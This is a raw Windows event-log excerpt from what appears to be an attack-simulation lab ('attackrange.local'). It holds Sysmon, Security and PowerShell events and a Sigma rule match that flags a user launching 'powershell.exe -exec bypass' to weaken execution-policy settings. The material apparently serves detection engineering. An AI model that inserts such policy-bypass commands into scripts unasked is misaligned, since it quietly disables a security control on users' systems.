(rs1_release.160915-0644)","Hashes":"MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","IntegrityLevel":"Medium","Keywords":"0x8000000000000000","Level":"4","LogonGuid":"{f02f376e-a250-6440-8a21-d10000000000}","LogonId":"0xD1218A","Match_Strings":"' -exec ' in CommandLine, bypass in CommandLine","Module":"Sigma","Opcode":"0","OriginalFileName":"PowerShell.EXE","ParentCommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" ","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentProcessGuid":"{f02f376e-a2e3-6442-8139-00000000d902}","ParentProcessId":"5528","ParentUser":"ATTACKRANGE\\reed_potts","ProcessGuid":"{f02f376e-a2eb-6442-8439-00000000d902}","ProcessId":"1344","Product":"Microsoft\u0000\ufffd Windows\u0000\ufffd Operating System","Provider_Guid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Provider_Name":"Microsoft-Windows-Sysmon","RuleName":"-","Rule_Author":"frack113","Rule_Description":"Detects use of executionpolicy option to set insecure policies","Rule_FalsePositives":"Administrator script","Rule_Id":"87e3c4e8-a6a8-4ad9-bb4f-46e7ff99a180","Rule_Level":"medium","Rule_Link":"https://github.com/SigmaHQ/sigma/blob/0.22-2479-gf86469295/rules/windows/process_creation/proc_creation_win_powershell_set_policies_to_unsecure_level.yml","Rule_Modified":"2022/09/10","Rule_Path":"public\\windows\\process_creation\\proc_creation_win_powershell_set_policies_to_unsecure_level.yml","Rule_References":"https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.1, https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.1, https://adsecurity.org/?p=2604, https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/","Rule_Sigtype":"public","Rule_Title":"Change PowerShell Policies to an Insecure Level","Security_UserID":"S-1-5-18","Task":"1","TerminalSessionId":"2","TimeCreated_SystemTime":"2023-04-21T14:51:22.4580578Z","User":"ATTACKRANGE\\reed_potts","UtcTime":"2023-04-21 14:51:23.848","Version":"5","Winversion":"14393","level":"notice","msg":"Sigma match found","time":"2023-04-21T14:51:24Z"} 11241100x8000000000000000117311Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-04-21 14:51:23.939{F02F376E-A2EB-6442-8439-00000000D902}1344C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\reed_potts\AppData\Local\Temp\2\__PSScriptPolicyTest_54mo2321.qwa.ps12023-04-21 14:51:23.939ATTACKRANGE\reed_potts 154100x8000000000000000117310Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-04-21 14:51:23.848{F02F376E-A2EB-6442-8439-00000000D902}1344C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXE"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypassC:\Users\reed_potts\ATTACKRANGE\reed_potts{F02F376E-A250-6440-8A21-D10000000000}0xd1218a2MediumMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{F02F376E-A2E3-6442-8139-00000000D902}5528C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ATTACKRANGE\reed_potts 4688201331200x8020000000000000467158Securityar-win-2.attackrange.localATTACKRANGE\reed_pottsreed_pottsATTACKRANGE0xd1218a0x540C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe%%19380x1598"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypassNULL SID--0x0C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMandatory Label\Medium Mandatory Level 5350414111100x0666636Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local1344DefaultAppDomain 4096114410x0666635Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local 410515102150x0666634Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local679521f1-82c1-4a0f-9c6e-d0d921b80bd40c4de2aa-fcf4-4ae3-b969-71a70be52b57 4104132150x0666633Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local11powershell -exec bypass679521f1-82c1-4a0f-9c6e-d0d921b80bd4 410615103150x0666632Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local8911bc2f-0558-4b0d-b0d4-44bec3f91ad50c4de2aa-fcf4-4ae3-b969-71a70be52b57 4688201331200x8020000000000000467157Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70x1338C:\Windows\System32\backgroundTaskHost.exe%%19380x2b8"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:CortanaUI.AppXy7vb4pc2dr3kc93kfc509b1d0arkfb2x.mcaATTACKRANGE\reed_pottsreed_pottsATTACKRANGE0xd1218aC:\Windows\System32\svchost.exeMandatory Label\Low Mandatory Level 410615103150x0666631Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.locald6c71f0d-229c-4fbf-bb0f-d78ecec4e6880c4de2aa-fcf4-4ae3-b969-71a70be52b57 410515102150x0666630Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.locald6c71f0d-229c-4fbf-bb0f-d78ecec4e6880c4de2aa-fcf4-4ae3-b969-71a70be52b57 410615103150x0666629Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local7286cbed-3ebf-436d-a4b6-9d06fbc1edc60c4de2aa-fcf4-4ae3-b969-71a70be52b57 410515102150x0666628Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local7286cbed-3ebf-436d-a4b6-9d06fbc1edc60c4de2aa-fcf4-4ae3-b969-71a70be52b57 410515102150x0666627Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local8911bc2f-0558-4b0d-b0d4-44bec3f91ad50c4de2aa-fcf4-4ae3-b969-71a70be52b57 410615103150x0666626Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local6d2efc6c-589f-4322-a5b3-b868c88c28f90c4de2aa-fcf4-4ae3-b969-71a70be52b57 410615103150x0666625Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.locala12b6542-477f-4a9c-b96a-67b72c991f7a0c4de2aa-fcf4-4ae3-b969-71a70be52b57 410515102150x0666624Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.locala12b6542-477f-4a9c-b96a-67b72c991f7a0c4de2aa-fcf4-4ae3-b969-71a70be52b57 410515102150x0666623Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local6d2efc6c-589f-4322-a5b3-b868c88c28f90c4de2aa-fcf4-4ae3-b969-71a70be52b57 4104152150x0666622Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local11prompt6d2efc6c-589f-4322-a5b3-b868c88c28f9 4096214420x0666621Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local 410615103150x0666620Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local9e1b7f10-392c-4342-a758-07792f20065d0c4de2aa-fcf4-4ae3-b969-71a70be52b57 410515102150x0666619Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local9e1b7f10-392c-4342-a758-07792f20065d0c4de2aa-fcf4-4ae3-b969-71a70be52b57 410615103150x0666618Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5effaf0c-6328-41fb-87c5-3ce5e9b690cc0c4de2aa-fcf4-4ae3-b969-71a70be52b57 410515102150x0666617Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5effaf0c-6328-41fb-87c5-3ce5e9b690cc0c4de2aa-fcf4-4ae3-b969-71a70be52b57 5350414111100x0666616Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5528DefaultAppDomain 4096114410x0666615Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local 11241100x8000000000000000117309Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-04-21 14:51:16.111{F02F376E-A2E3-6442-8139-00000000D902}5528C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\reed_potts\AppData\Local\Temp\2\__PSScriptPolicyTest_5qwx4yyu.pmj.ps12023-04-21 14:51:16.111ATTACKRANGE\reed_potts 4688201331200x8020000000000000467156Securityar-win-2.attackrange.localATTACKRANGE\reed_pottsreed_pottsATTACKRANGE0xd1218a0x15b4C:\Windows\System32\conhost.exe%%19380x1598\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1NULL SID--0x0C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMandatory Label\Medium Mandatory Level 4688201331200x8020000000000000467155Securityar-win-2.attackrange.localATTACKRANGE\reed_pottsreed_pottsATTACKRANGE0xd1218a0x1598C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe%%19380xd9c"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" NULL SID--0x0C:\Windows\explorer.exeMandatory Label\Medium Mandatory Level 154100x8000000000000000117308Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-04-21 14:51:15.957{F02F376E-A2E3-6442-8139-00000000D902}5528C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXE"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\Users\reed_potts\ATTACKRANGE\reed_potts{F02F376E-A250-6440-8A21-D10000000000}0xd1218a2MediumMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{F02F376E-A252-6440-690C-00000000D902}3484C:\Windows\explorer.exeC:\Windows\Explorer.EXEATTACKRANGE\reed_potts